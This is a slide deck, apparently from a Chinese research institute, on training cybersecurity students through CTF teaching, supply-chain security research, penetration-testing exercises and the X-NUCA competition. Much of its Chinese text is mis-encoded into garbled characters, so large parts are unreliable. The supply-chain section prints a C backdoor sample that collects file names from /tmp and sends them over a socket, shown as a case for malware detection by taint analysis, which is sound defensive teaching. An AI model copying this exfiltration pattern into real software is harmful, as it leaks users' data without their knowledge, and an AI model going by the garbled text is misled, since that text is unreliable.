攻防兼?zhèn)涞膶崙?zhàn)型網(wǎng)絡安全人才培養(yǎng)實踐

1、攻防兼?zhèn)涞膶崙?zhàn)型網(wǎng)絡安全人才培養(yǎng)實踐技術創(chuàng)新，變革未來目錄培養(yǎng)模式授課方法科研思路 實戰(zhàn)演練中國科學院研究生兩段式培養(yǎng)模式中國科學院大學（簡稱“國科大”）與中國科學院各研究所在管理體制、師資隊伍、培養(yǎng)體系、科研工作等方面“共有、共治、共享、共發(fā)展”，實現(xiàn)高度融合。通過科教融合， 匯聚中科院優(yōu)質(zhì)資源，適當引入外部資源，為學生提供最好的教育資源。力爭使研究生在一年的集中學習環(huán)節(jié)中把所涉及 的知識學深、學扎實，為后幾年進入研究階段的 學習打好基礎。第一階段校園集中授課以課程建設為抓手第二年回到各研究所，進入課題組，邊進行科研 實踐，邊進行學科專業(yè)課和特色課程的學習，在 導師的指導下完成研究生的科研論

2、文。第二階段研究所科研學習與科研實踐相結(jié)合深度科教融合核心使命：培養(yǎng)造就高質(zhì)量創(chuàng)新創(chuàng)業(yè)人才！高質(zhì)量創(chuàng)新創(chuàng)業(yè)人才的評價要素是什么？理論知識實踐能力創(chuàng)新思維創(chuàng)業(yè)能動性目錄培養(yǎng)模式授課方法科研思路 實戰(zhàn)演練第一階段校園集中授課學習資料多攻防技術發(fā)展迅速， 大量論文、書籍、 帖子、報告、在線 站點、開源項目安全資訊多網(wǎng)絡安全事件頻發(fā) 微信群安全簡訊 朋友圈轉(zhuǎn)發(fā)文章 互聯(lián)網(wǎng)新媒體CTF賽事多校賽/ 省賽/ 國賽 高校主辦/ 校企合 辦/ 企業(yè)獨立組織引導競賽觀？課程怎么教？如何劃重點？多參賽就好？上課學什么？哪些值得看？老師 視角學生 視角授課方法知識鏈牽引工具產(chǎn)品了解國內(nèi)外工業(yè)界情況事件案例加強代入感

3、讓知識可見學術成果緊跟國內(nèi)外學術界進展理論 體系理論 體系保證知識的系統(tǒng)性攻防實踐加深對課堂講授內(nèi)容的理解授課方法：以Web安全技術為例攻防實踐在攻防實踐方面，把CTF比賽引入授課過程中，針對授課內(nèi)容知識點設計題目，成績納入期末總成績。采用“單人組隊比賽、課堂集中解題、隨時隨意討論“的形式，確保每一位學生都能體驗基于CTF的攻防實踐過程，進而加深每一個人對課堂講授內(nèi)容的理解，建立Web安全形象思維和安全意識。目錄培養(yǎng)模式授課方法科研思路 實戰(zhàn)演練第二階段研究所科研【立足業(yè)界需求】在“理論體系-學術成 果-工具產(chǎn)品-事件案例-攻防實踐”知識 鏈條牽引下，立足業(yè)界需求，依托研究所 科研項目，聚焦興

4、趣點?！咎釤捒茖W問題】充分調(diào)研國內(nèi)外學術界、 工業(yè)界研究現(xiàn)狀，自主提出關鍵科學問題，并開展系統(tǒng)深入的研究。【真實場景驗證】研發(fā)原型系統(tǒng)，在真實 環(huán)境下部署，測試功能和性能。研究方向業(yè)界 需求科研 項目興趣 愛好如何有益于解決真實業(yè)務場景問題？如何開展科研實踐？網(wǎng)絡安全的本質(zhì)在對抗，對抗的本質(zhì)在攻防兩端能力的較量。要以技術對技術，以技術管技術，做到魔高一尺、道高一丈?！竟?jié)選自419講話】從攻擊者視角分析問題，以防御者視角解決問題，用實戰(zhàn)演練檢驗效果。攻防角色互換科研思路：以軟件供應鏈安全為例近些年，從XcodeGhost事件，到Xshell后門、python pip源欺騙性污染釣魚。軟件供應鏈

5、安全事件頻發(fā)，且具有威脅對象種類多、極端隱蔽、攻擊成本低回報高、檢測困難等特性。軟件供應鏈是指由軟件開發(fā)環(huán)節(jié)，交付環(huán)節(jié)和使用環(huán)節(jié)組成的功能鏈。而軟件供應鏈污染則 是在軟件供應鏈中的各個環(huán)節(jié)中，利用不同的技術對軟件進行污染。源代碼內(nèi)部組件外部組件執(zhí)行邏輯應用程序 開發(fā)交付使用需求設計下載分發(fā)安裝運行升級編寫編譯生成軟件供應鏈安全威脅模型圖2018年軟件供應鏈安全大賽“C源碼專題賽”分站賽第一名2018功守道阿里軟件供應鏈安全大賽，是聚焦軟件供應鏈安全范疇內(nèi)泛化的攻擊面與應對技 術、策略，面向業(yè)界、學術領域，采用對抗為主的全新挑戰(zhàn)賽形式。中科院信工所團隊作為防守方從防御的角度檢測題目中是否存在軟件

6、供應鏈安全風險點。在C源碼專題賽分站賽3的183個待檢測樣本中，發(fā)現(xiàn)惡意后門數(shù)量81個，正確解題數(shù)量115道。獲得C源碼專題賽分站賽第一名，并直接晉級總決賽。2018年軟件供應鏈安全大賽“C源碼專題賽”比賽過程惡意行為分類建?？偨Y(jié)幾十種模型： 敏感函數(shù)集合+上下文約束關系單點惡意行為：系統(tǒng)敏感信息采集等；二階段惡意行為：用 戶操作歷史的讀取和 無校驗網(wǎng)絡傳出；復合惡意行為：鍵盤 hook等。C源碼樣本下載183個待檢測 C源碼樣本比賽3小時，提交結(jié)果5次，發(fā)現(xiàn)惡意后門數(shù)量81個，正確解題115道。污點分析模型匹配基于LLVM pass框架的 中間代碼表示，進而檢 測惡意行為C源碼中間代碼表示；

7、污點分析：發(fā)現(xiàn)疑似敏感行為；模型匹配：I/O操作網(wǎng)絡傳出。誤報過濾結(jié)果提交實現(xiàn)C源碼惡意后門自 動化檢測系統(tǒng)基于路徑可達性分析 的誤報過濾。2018年軟件供應鏈安全大賽“C源碼專題賽”解題舉例int s; char buff1024; DIR *dir_path;struct sockaddr_in sockaddin; struct dirent *path; memset(buff, 0, sizeof(buff);dir_path = opendir(/tmp);if (dir_path) while (path = readdir(dir_path) != NULL) sprintf(

8、buff, %sn%s, buff, path-d_name);closedir(dir_path);if (s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) 0) goto Exit;memset(&sockaddin, 0, sizeof(sockaddin);if (connect(s,(struct sockaddr *) &sockaddin, sizeof(sockaddin) 0) goto Exit;send(s, buff, sizeof(buff), 0);close(s); Exit;污染源收集“/tmp” 目錄下，所有 文件的文

9、件名無校驗網(wǎng)絡輸出污點分析：發(fā)現(xiàn)污點數(shù)據(jù)流向 send函數(shù)（敏感操作），疑似 敏感行為，進行深度檢測分析；模型匹配：I/O操作網(wǎng)絡傳出，進行敏感行為模型匹配，發(fā)現(xiàn) 執(zhí)行時可觸發(fā)敏感行為，進行 觸發(fā)點定位。知識鏈牽引+攻防角色互換形成基于“理論體系-學術成果-工具 產(chǎn)品-事件案例-攻防實踐”知識鏈牽引的授課思路，以及“從攻擊者視角 分析問題，以防御者視角解決問題，用實戰(zhàn)演練檢驗效果”攻防角色互換 的科研思路。攻防兼?zhèn)涞膶崙?zhàn)型網(wǎng)安人才培養(yǎng)實踐目錄培養(yǎng)模式授課方法科研思路 實戰(zhàn)演練2017貴陽大數(shù)據(jù)及網(wǎng)絡安全攻防演練“安全成果一等獎”2017貴陽大數(shù)據(jù)及網(wǎng)絡安全攻防演練，是在真實網(wǎng)絡環(huán)境中，針對真實

10、目標的滲透測試演練。中科院信工所評測團隊，針對相關目標發(fā)現(xiàn)并提交重要漏洞50多個，率先攻破多個重點或核 心目標，控制重點及核心目標關鍵服務器近30臺，突破五家單位系統(tǒng)的內(nèi)網(wǎng)并控制大量內(nèi)網(wǎng) 主機，包括工控領域系統(tǒng)。榮獲最高獎項“安全成果一等獎”。2017貴陽大數(shù)據(jù)及網(wǎng)絡安全攻防演練“安全成果一等獎”系統(tǒng)突破明確漏洞造成的 影響，進一步的 提權(quán)、內(nèi)網(wǎng)滲透漏洞利用漏洞掃描、漏 洞挖掘與利用、 手工滲透測試信息搜集偵查域名、子域 名、開放端口， 識別系統(tǒng)信息明確目標17個真實目標，含4個核心目標、8個重點目標*工控系統(tǒng)企事業(yè)單位*大數(shù)據(jù)平臺8天12小時，5人，提交漏洞50多個，控制關鍵服務器近30臺，

11、突破并控制五家單位系統(tǒng)的內(nèi)網(wǎng)主機。形成報告總結(jié)漏洞成因、利用方法、防御手段，形成報告全國高校網(wǎng)安聯(lián)賽（X-NUCA）中國科學院深圳市人民政府中國網(wǎng)絡空間安全協(xié)會指導 單位中國科學院大學網(wǎng)絡空間安全學院 湖南合天智匯信息技術有限公司 北京永信至誠科技股份有限公司承辦 單位中國科學院信息工程研究所 深圳市科技創(chuàng)新委員會主辦 單位深圳市南山區(qū)人民政府 360企業(yè)安全集團深圳大學協(xié)辦 單位中國科學院信息工程研究所于2016年創(chuàng)辦的“全國高校網(wǎng)安聯(lián)賽(National University CybersecurityAssociation，簡稱X-NUCA)”，是面向全國高校學生的網(wǎng)絡安全技能賽，推出“

12、競賽+”模式，大賽 秉承“寓學于賽，以賽促學”的理念，旨在更好地促進網(wǎng)絡安全人才的培養(yǎng)和選拔。第二屆X-NUCA2017三期線上賽總決賽深圳第一屆X-NUCA2016五期線上賽總決賽北京2016全國高校網(wǎng)安聯(lián)賽（X-NUCA2016）第一屆全國高校網(wǎng)安聯(lián)賽(X-NUCA2016)比賽歷程2016年7月2016年12月總決賽線上解題模式+線下攻防模式存在問題：重技巧、輕實戰(zhàn)，脫離真實網(wǎng)絡攻防場景2017全國高校網(wǎng)安聯(lián)賽（X-NUCA2017）12月19-22日年度總決賽Web安全靶場滲透專題賽8月26日10月8日Windows 7 靶場評測專題賽11月25日企業(yè)安全眾測 靶場挑戰(zhàn)賽第二屆全國高校

13、網(wǎng)安聯(lián)賽(X-NUCA2017)比賽歷程基于網(wǎng)絡靶場的網(wǎng)安聯(lián)賽X-NUCA2017利用網(wǎng)絡靶場技術，為參賽者提供接近于真實互聯(lián)網(wǎng)環(huán)境的網(wǎng)絡攻防對抗場景。如何設計接近于真實互聯(lián)網(wǎng)環(huán)境的網(wǎng)絡攻防場景？網(wǎng)絡區(qū)域設定劃分公網(wǎng)、內(nèi) 網(wǎng)、專網(wǎng)環(huán)境網(wǎng)絡場景選取源于真實互 聯(lián)網(wǎng)環(huán)境網(wǎng)絡拓撲抽象定位關鍵網(wǎng) 絡節(jié)點攻防題目設計立足攻防實戰(zhàn) 經(jīng)驗風險評估滲透測試應急響應樣本分析追蹤溯源以X-NUCA2017總決賽團隊賽比賽環(huán)境為例網(wǎng)絡場景選取公網(wǎng)部分：與互聯(lián)網(wǎng)連接， 用于處理一般性事務，或?qū)?外的門戶網(wǎng)站。內(nèi)網(wǎng)部分：一般是單位內(nèi)部 局域網(wǎng)絡，用于日常辦公、 對公網(wǎng)區(qū)域管理等。此區(qū)域 內(nèi)可能會存儲業(yè)務系統(tǒng)中的 較敏感

14、信息。專網(wǎng)部分：一般用于與總部 交換核心數(shù)據(jù)或處理特殊業(yè) 務，屬于業(yè)務中核心的部分。以X-NUCA2017總決賽團隊賽比賽環(huán)境為例網(wǎng)絡拓撲抽象比賽選手網(wǎng)關服務器以X-NUCA2017總決賽團隊賽比賽環(huán)境為例比賽選手網(wǎng)關 公網(wǎng) 內(nèi)網(wǎng) 專網(wǎng)服務器一個 公網(wǎng) 區(qū)域整個業(yè)務中接入公網(wǎng)的服務，節(jié)點包括門戶網(wǎng)站及數(shù)據(jù)庫等。選手可以直接訪問到 公網(wǎng)服務，是整個環(huán)境的入口。三個 內(nèi)網(wǎng) 區(qū)域包括內(nèi)網(wǎng)服務器、網(wǎng)站管理員工作PC、 代碼倉庫服務器等。3個內(nèi)網(wǎng)分別由3個公 網(wǎng)服務接入。一個 專網(wǎng) 區(qū)域核心業(yè)務區(qū)，包括Web服務器、業(yè)務應 用服務器。所有專網(wǎng)的最內(nèi)層節(jié)點在此區(qū) 域連成一個大網(wǎng)。網(wǎng)絡區(qū)域設定以X-NUCA2017總決賽團隊賽比賽環(huán)境為例Web CMS漏洞弱口令一個密碼多處使用不正確的網(wǎng)絡配置日志中的隱藏信息黑客攻擊痕跡跨網(wǎng)攻擊代理跳板比賽選手網(wǎng)關 公網(wǎng) 內(nèi)網(wǎng) 專網(wǎng)服務器攻防題目設計隱藏了多個關鍵信 息，這些信息是選 手內(nèi)網(wǎng)滲透路徑中 的必須信息部署AWD模式的競 賽題目，在攻擊其 他隊伍的同時，需 要修復自己的漏洞以X-NUC